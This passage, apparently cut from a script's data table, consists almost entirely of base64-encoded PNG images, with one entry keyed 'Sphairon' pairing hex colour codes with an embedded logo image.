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' ["Sphairon"]='#F2F2F2 #599BD7 #222222 data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAY0AAABSCAYAAACouIifAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAABmJLR0QA/wD/AP+gvaeTAAAAB3RJTUUH4QwGDSwGKd2NkgAAMORJREFUeNrtXXd8FVXaft4zk0IRECmKBZIgurKKgl1IUQSRddcGigpiAwUbKJJY7yqSBFZhQVSKoqiLH1jXhgVJwK5YFxuEoKAooKAiKXfO+35/zNwWcufOTVES5vn9LndyuXPm3DNnznPeTmgimHHfW0cAehxYzmCRHwCsZy3rtPDHIlhJVvDjCRMG/g4fPnz48NFooD/6gvn5z2dasHq1Tv/42UAgwIm+f9+8N/9KQtNZ5CQRgTAgImAR2H8LWAAR0cLyDou8RBov3XDDSR/6t9eHDx8+miBpFEx+ai9Up14ELRdogWFy9YDJk8/a6HbO/PnL0hkt8xnIF+G0KHJwiEIgO/1tk4pz/C0gC1lhTsG4/mv9W+3Dhw8f9YfZmI3ffvuSXhbJOLHkHCFJF0XvpZExKBA47We38x599INDLZInlJYeJAIWBYHAPgaEAGKKEAcBYLJJg6QSgleZ5SVF+IAr0rb6t9mHDx8+dmHSuL1oSU8SdZuInK3stR4iVKok/W+BQN52t3Mfe/yjISL8oCFozQYgTDZZECAMkDhkQQJiONIHgUg2iMYMRcEHr7yy/0/+rfXhw4ePhkeDqqcKC1fsCaOqSIBLRUSJozJiwYdSrfMCgVN/jXeuiND/PfnJZIhMZBYKqZ6YHbVTSMpgibJpAKLlV4ZMrtxOM8aPP77Cv6U+fPjw0QRI467pyy5gkbuY0Sm0yNsvfB1U3C8wYeAmN8J46pn/3cPCY5xzYsnCMX6HyYIdwmB5SQety0eP7vutfyt9+PDhowmQxowZ77RhqpzNgnOdhTxilBZ8J0HVt6Agb1288xctEiOlxaoHIHJhXHKIkTgAZqliyLiLhx99n38Lffjw4eOPQ71sGvfc/+ZxwsGFJKqrCnkyAYBtZ/iJtB5wfQLCaNn6y4dZ6HzHLuFIFY7tAhGiANn2DRFZD6XOHDms9wf16fuXM8/tYpjoAW21BdM2S1kb/3Ll01/7U8KHDx8+GkHSuHf2W+cB8qCIpIVdYR3pAIJKDc677uq8d9zaeOnlr2YI5KpY6aSGOipK2hDhz8SyBg8bdvT6ZPsrAlo379IcUXqYMJ8pzB0gDBGGfUFmYc7vcfWTU/1p4cOHDx8NSBpz5r1zjUDuto3diFnwhSEAD796bM5jbm288trX1wCYXkuQXk0VV0g1VZpqpJ32j38c/Fuy/S1fcOVAsDVZIL0dggiThYjzN+vQ+5wDO6sxNHSx9qeHDx8+fNSTNB5c8N5k1lIg0cF1Ud5MYL5z7BX9bnZr4/XSslNF5L/CYsR4QtUepAdhrAhW0alDh/bcnkxfv114QxdwcB6DB8USBAOio6WMGBIhzQvX/7RpRF6gxPKniA8fPnxEoJL58uwH3irUmguICEopKEVRLwWl1Iubf+x7q1sbpW+VHWooWqQUGcqwzzOi2jJCbRn2saHUW6aqPCVZwli/KP8MGPSpmOYgUgZgGCDlvAwDpEz7ZZiAcwzDBCkDMI1h+3Xc+zFZNMTwp4gPHz58RODZED7zvjdvsrTkK2EogrO4kyNtEEjkmyqDRgQCFDef1LJl5ekG0aOipBUJwEIQsqUKCCBEEI6J/F5rIOWMgQMP2ZEUYTxz60QwFxIz2eHjZEsUZEsZJAwhBjkSh/3/hNB3hRlEPHT1FmwDMNqfJrsHuuVO2dskPoa17AVFnSDoKEAHEuwFQlqNzVZbR1R/uKw0f6Y/eokQUJl5LfLA0ouAILF6c82KG/z8cM2VNP41q/RMi/XtCgQlBINsolBCUERQioLQdN6VFx7tGondspWayYLDuCY5IDrSOxz5/VMQetDA/t03ef0xH3wwO6XLxs1zmflCqAgxiDCIHFUU6RoEQTVIxCYXMEMRjVp9//nrDrz8sUJ/quwGYjfziUx4DET2pISjv3VR4grRa/7IuSMrt7A7Cy0CyxGw94cQxcjMKXop1eThXy690c/g0JzUU3dOW9pbW/KIpVlpzdCaYUW/mGGxzr/44qPfcmvn/Q/Xn0VKXWqrowi2aops1ZSholRTBGWoSoPU3wf3/4tnF1hZFjC7bPploSjzwmiVE0WppeCopWw1VEQ9FTk2VkOpu6GMMWQYo0iZ0xUZ5625/4JT/Kniw0fyOKBv4Z4ieI2AI2r570HVlvovhizy1cDNRdKYOvXlVhVaFpLolkIUkS4U7HchGEIrflh//HS3dt55Z8N+AOYZBoVdaEkAhp1kkMTZ/Nt5poQFw/NyM9/yTBiLFhk/WN8/SgafBdaIqKTIyUsVUUshLHHYHlMkBCF6lyy5sduF97++U9uBgFqz7zenfbJgeKteIx7x63X48JHMAmPiGgh1dfnK8Rmbys4sBxb7o9UMSOM3C7OU4h5WSA0VIg0BDJtEfhFSF7jZMQBAw5oplmoXkiaIlE0WNYP5SMAa/87rl/FEMj/ix7223E8wzhEQKGSTiCaI8LF2SMRRSxFVkdYT9jv37nuIQgqJWJBd8+NZf6r48FEHCJ2cWN1BJ8MnjaZPGvmTXjjL0nxhmChUWLJw0pETDKarxo3Nds379Hpp2alBi083lEApBXFUU4ZSNlkQhVOEkOB/wUopSIowls+7AawvdfKlh6UI231WRwgi2iBuk8gGpeXv+55b9BHO9SeCD4AM+UqYHgWkK0D7A9gXQIo/MvVCy8S8Ii39YWripDEq8FxLy5K7FHG0GgoRFRWgiF6deN1Jj7g1/txz37e0ePssBQUWguHUxjCEwErCrrbOWr5DEw/Ny8uo9Nr5LW8sOJOhC8MeT6IhRCCmKI+oaBJhR1WlvzAIp3Q5I+AnOvQRRtmygpUAhkc+CajuOanHMNRb/ujUVdCQT0jo8ARf8r2omjpppAf5NktRV6VCkoVDFkRQomAIVwHmVQl3bqm/TApa1C1GylACcchCDIESJ0bDMK45+oj9v/BMGB/852Cx+CFiqGgbhu2/G00QNplEudV+oRRy9jn1ls3JDFQgsMzcsHFjniXc8aE5F/zHnzq7AwIsVLi5dsWlDy8wGP9mwvkuWo3Nlpb5/kg1HezkPXVF/pOZWvO1tXpKRTym7rxl4olfuTX81Asf96i29FWWxQhaDEtrBJ3zg1rb7xbDsjSCQXniyCO6zPPa6R8+WdCKxHyClLnHzsF5sR5ToUA+2J5S6yHGoH1OvTEJwhC66tonLt60dVO5kapeSUkxHr149MIj/anjw0dirFle8BGRXAYgWNvejwSnf/tGgV9dsylLGkHNBQaQqqLjMEIqKiKIYO32NjQlUcPVQbpdKTZFbGlCJFbKCKmnWNEvinF1Mp1OlTb3icE9IzEYtcRe7Owx9ZuIPqXL4HHfeL3OtYGn26kdTy9koVPACsQCZiFF8k8Ag/3p48NHYpSVFDzUNbv4XUVyheN6Ww2SFUrLrDUrbtzsj1ATJo0R1yw6QFs8QijiUqsoSkVlG8PzZ149uMqt0YefWHlY0NJDHFKAoQTsxGewEhiGghLH3ZaNgpNzu2302uFt/3vhLNE8HIpiIrlrD+QLe0yJInVJp9yxn3u9zk03PbO/1moJp/AhmsWuSc4M1gImOXXUNQuPmfPvYe/6U8iHj8T4ZvnEL4DkNoc+mgBpaG1dL0KpyiGNWOM3QYl6557JgxO6w1pVXKQMUqIEynCkDBGI2GTB4kgZBq38/ecD53jt7Javlu4Ly5oDoxaCiHKrhdNvYuddc1GnnIs9u/RNmvTcvtWg10mjOzOBNNvuwERgYmgWKKYCAKf7U8iHDx+7E8I2jSHjFrWwNA8P2S10dMS3c8w6eJ0dlhcfsxa80zfIepBtu3BsFhbDtm1oWM6xZWkOaj126FDynII8BWoeGWb72EjuSDJCKKNGhLcJqJRXO/7Q+hav1whMW9YOZtorpmF2Nw0Fw1AwTQOmqZyXfWyYavCYCYv29qeQDx8+dktJw/ptxxClVDtbuojKLRVSUTG9MGfa0ISuhzqoJ4kiSE2PKSNKyhAFYbpvyODDPKt3fvnilWHC+hQiBTKMUHDeTm61kOicU/rbdFQOo6HneyKmQGCZ2VJkMZt0CLOCJgIxg1nAjnpKa7FjS4hNg9UIAFOa8wTpnlu8nzD3EKh2AuypiA0GtkLwC8EoP0DtKC8pCfwpKeS7Zk/NIEP3IJY2AFUK0eZ0Q6/+I3MZETjObxfqfuLUTGF9IAv2MBRVC3gLqlJWl701YVNj96tbbiDdpPQs1txViFopYE8AEOA3kPEbkbWVdlR/tubdwK+726KXcdKdnZVWR0BwAEhtKiuZ+ExDtZ3Zv6gtLDpQkeyrWVINRdWa1c8GWz/tZ1R//Wc9K4n6LEF1mILuwICpoLZo0hvXlRR8VZuQYEZUUzwylLE2Ok2IYwAXbSKQ6OLFs0rygpbOMYxa4jIkEpchSn6qMOhmz4Sxakl71tY0IsMmBFIgpQBR0QQRRSIEO9wco9ocdaHnBaTdXuoOFu7PbEAzO4bviC1Dk21gjyKRSwCZmkj6aloIqKzctAEMNZJE+rLIviACIAj9G0nix/hW0qszcouvKy+ZeI+nBzavqJfSdDiDO4BUZ4J0BKQDhDqCdnbMIKKSspKJ14f+7nHipH0tbY4HcA6g9wWHOwMSQbWlODO7+G1ReLz9b+1mr1w5OtiYo8WsKqL/zsq9868Q42pB8Rms0QHOeDE7gn2K5sycopUiNLt8ecV8IMANcc8y+rU4UinOEaFjQHIkhLqyACDl3LdoPmOIKEh6umTmFJUJ6HUwHihfMfG9em0wBs1I0zt+/zuEOhGoA4E7CFEHAJ0BtKmVdEXeLltecJWnxS23qC9YesRkIAY6AuiAWjxBBfJieWlBuFRDVk5xnkBuhoU8CU0akS8B1Is0MrOnHCjgEUQ4DUEcCohise88M0BgsFL4VtK3Z+QUv0HgV1Rl1QP1IezM3Cl/A/R+JKojgzsQqIMzDnvVPs40s2z5xIdDf3ceMLVVq2q+DCIXIIjedj4OcuaK7byUmVP8naDwSRU074ze6JgAMPCSee0tS/opYTtuQjjWAE70/MKZ5yesyc2CgKUZIrFSRowRXCmIgSkXnX3UNs8Ppq6aCqjOQmKnICGxly9StloqSuIIkwjzvXv1OeNlr9e4d86K/sy4gRkIG76jbBmaapAIC2tNpYHA4pRAANXNgS4ycwv7Q+g+EXQn78EJqcTiOeEcsYwSwhiKWcoofiZZwdrQzj0rp/hKS6MYQAtXlSvJCSQ4YWvrrVd0yy2+ZF3JxHcaTdIg3gEAB51QvEe1iX+JyKVwTwSqABxFJEdlZqdflpoyeXB9JKOs3OLTReR+QDpLeBw911YjAN0J0h0KozJyikpgmCPLX7/+m7r0perXir1STFpkX16cbUbCLmzxfAHB7SDKi8lA7NayqPfDcyd3ylQRGV/LadvrOvY9+hZmWgYVA3wmeatN1JogpwB0Cqen35qVWzhre6pZ+OMrE5LPaSc8H6AOEtnGJbrTbcPPeV7hWajS9wBIpF7fl0BXS4oemZk9edja5Te+GJrAsCp4kKXZjLZnxMRoCP6ZcK8z7bX+QcvKDsdlhGwZ2o7RiIrz2Pw7tbzX69hs/fDJbNH6ImFte0KxhkjUsaMdqJGttlyns+d0JPcteLNTimk8YppKGaYB01D2K2K/iLVrGMYG0zByCm8/bVQgMLRZEEZGTvEUCL0CoHvyKhra1ng940q7f0XTBZiRgDBq4hAl8lpGdlF2Y/VOoLZ0y52yd9CUFQQZhWQKmxGOqbbUa90HzUir8+jYG7/ODaNqQy5p6+PM3OJmEYdEkO0AkJlTdI+IXFcbz0gdSSMzp+gKy6D/ATgbSRazCyk2ROimVlX6o265kw9u7LFgZ3OTmVM4GUxPeCCMaLQBqacycqb0C5OG1vK3WsnCNoS/tvi+81cmatUK6lt3JoidjeBBS08e67EK3+rVL6YxW3OENUVIQgNsQZxXzOdEIGWwKHVRx4P/4amWuIhQukpZYBjG3jXJwiYM59hQMA0DpqHe5xTqE7h50BvNRSGVmV1USJAJqGPNeCj80niLMm3Jyim+mkB1dddsRYQXup84JatRFiaF75XwCwB61bGJw3nHjol174CsbuCf1A6Cp7r3m9yxqc9rVvgxM7voPIDGJCKWJGYkZeYW3QPg3iQ3MPFwoBK1IiOv+KBGHQyhH7Nyim8BqKCOLaQReG7PnoFUhzS4r0v0d3Gi1iYUvjggqHW/naQM59gKSxy8sboVZnvt5Z4/b7lGtHVQDEmIFUUekffwscisPf8yoNTrNf6z+KPLUww1MIYgoiWLEFmYCkaKsXyPFuaJgQkDN6GZICtv8gkgTKxPG5qo0SJ6BWIIpL5FsFqLxbMapX8sIwD0rmcz19RV2tiRYqwBGjrRiezPisY1eUmD5WcQ7k7wraRIIzOn+C4IxjZwVzsQy/M9cwOtG2ssFChDIIF6NnNQRae001SfM6ftY2m9X02y0MzQWn/ywoMXLU3UUrBa3xJNEEFdM22II20E9aTxQ4+v8NK7H968r5NY+kZhC6Kt+CThqKhsqcP6QaeyZ/faZ5/9sEuKoQojKiiHLByJwzBiSOTDFEk/bezYvO1oRmA2piaSMAQoAaRQiK4CZDyR3EmgeQJ8BMAytfZs0CPgNQEW2G2iDEBVAtXXZYifKdWzLlgIA7OyC09seBUIzmuAZtrz79tPqsuJP74y4XcCaguO/cUZ44cA3A2iYkDudT7zoFKl0X36zE4qw2+aVbFdgJkE+a8zN7Y08HAvBmghhN4EaD0Ad08kopMTqe4oCdLIyi4aAaCxyLR7Baff4XnekcyG4EkI3oV9/yXB5mtCHdVoNYhYnWNKtTrWUhwV/Y1wgkIDqiiRZ9CYm586xdK6r0jEY0pJzeSEAlHq27aq6gHPndM0SchqC1GAUnbRDcdjCkrZXiGkIBQ6FkDhmvZZJ3tWlTClzDRNaavZca21o73BFDKG2/U+mOVnTXTWlZcf26zcEzP7Fh0AyLEuX/mdlRq8btkNcSW3Ln0CLfeshGc3wrLSgqcBPB29nGdkF48hQjzvq5oqgF9BKNRaP/zNips2dh80I03/XjGQSP4F4MAEK/xIAK838DCaNUjke0Cmg/ilqqoW36ekV++vtFwqRFe6N2McBeDFukljWAOgC4C3CHiWmJ9fs6Lgi3jPbvd+kzuyMv4NyDA3ItvW5ufDAKz02g/HGyhGjbjfcXe3SEutXiN2/+qFtaX59wG4L/zBkEVGxqa10wiI5311uktzFgBTSDxtPDJOurOzWJjh4WYsFYWHFPTHgKoEUychygF4NOBajAogXJGVPenusuU3r0/4HJUUxHif9uwZSK3YK/1FEOJtPvarufyBZCExHrSEv0hLEaUt8yQhTHEjWoEcabLmQyQU/a3sWhmOq205tvzwRKL9m2U9dbtSHI7L2CltiAHH5RZFV197apWXG7Tx9Xt6QlsXCQlIKYgokGKIGFF/G7YXFdnFnEDyartef1/kdQIuWfL5YEtwptZse+c60d7MgjCJsIA1MSs5b9SIY9bFa+v6gmeO+Vfh6U0upYiYyCY3FxfCo26EAQDfrwzs+L5+exdRKN4uHjQsBHwP0gPLSm76X3iheunqKgD/3e+4u99ISa1+n4DM+BOezuzSJ3D59ysDOxppSF9LMfncGt5QPwO4KiOnONUxlMfRH/CB9biT9yvBtWuWF3wU+ezG+Iv7ihs3A4ELMnLS9yEgN/6uCn2SIY3asOHt8RWZOcUajZEqePFQTbnFOyBx206vMQHeJZJiBM03y96asKlb7rR2pq7wJE2RZYwHIh5ItaAKkIvWLi9YWHO4AbzVecDUGS2r+QESOcdNWBMyLwVwW7JDsWpVoDozp7jK4zj/wgrnrFtWUNO7dEG33OKvlchbLtqHbsrSnFGbPSOo+a5EgSgjx/3fOUFLHxWdyTbaCG7psMpqo/rN9Jz+WKzgNNGWGVFNxX8HW2DWVZYVvMpr+2+88eUeyjTuN2uJ9jYiHlIwDYUUU9128Yhj4rrujpv41D80y51NUdJQkmD3J/LVLtRdzYJh0YRRY3H6GcC1Cdpo1bJ1aq9G6t+Hv6cZp8dznzVY/zvBDrVt3XfgBQtjCcMLAkxCMxPMkM5oJiDIIweoyr5lpQVPh2IO1pWM2+YlYeJ+x93dHsAVCR6m89eW7kQYMWrE9r+1G+6ok9ykxtMaeSiCUHTWumX5ta5pjnv6+25DqYKsu0UWegm53G6xrBTXRX5IYFFqkOWOaIKoaQSP8pwqDATyPBVX2rikaDAkeLJNDEEkJA7b3jGl41FDPS9wFqcUmKaxnxHP6G2EP39j9Vd9JsdrZ2zBU3sxY76IdGuij1KauxypjtllpCLgsfLl+cvdvlNeOvF5ABtcVZIwjmiE7llE+kI3f/s1K6q/BKBdBrvFH373FX+aYNPQpplwxufttre/pK7R2KlpwREA9nAZyYVrlxU8maidlStHB6FwfQJp+rDM/kVtG+85oulrl01MZKde5cqPWsv+NeMzghbfs/K50e4i/KaqK4KW7h7tMRXOKxWWODQszT9wqx2eamVIIKBYBydFyMDDO+sNOi1Y7HXQ3n67vJtpqnFGLWRRg0SqYaSMdq1/XsW3ssieLNjfDkNvYuopyBZ3xZEMzcopugEIqD+7r4YHLz6AREgSPBDcsxG690g8CSh6Zw9gl0oDzga7uqUzIQ3NAARcX6/MACID3IUMnupZKizJfwO2A0jcq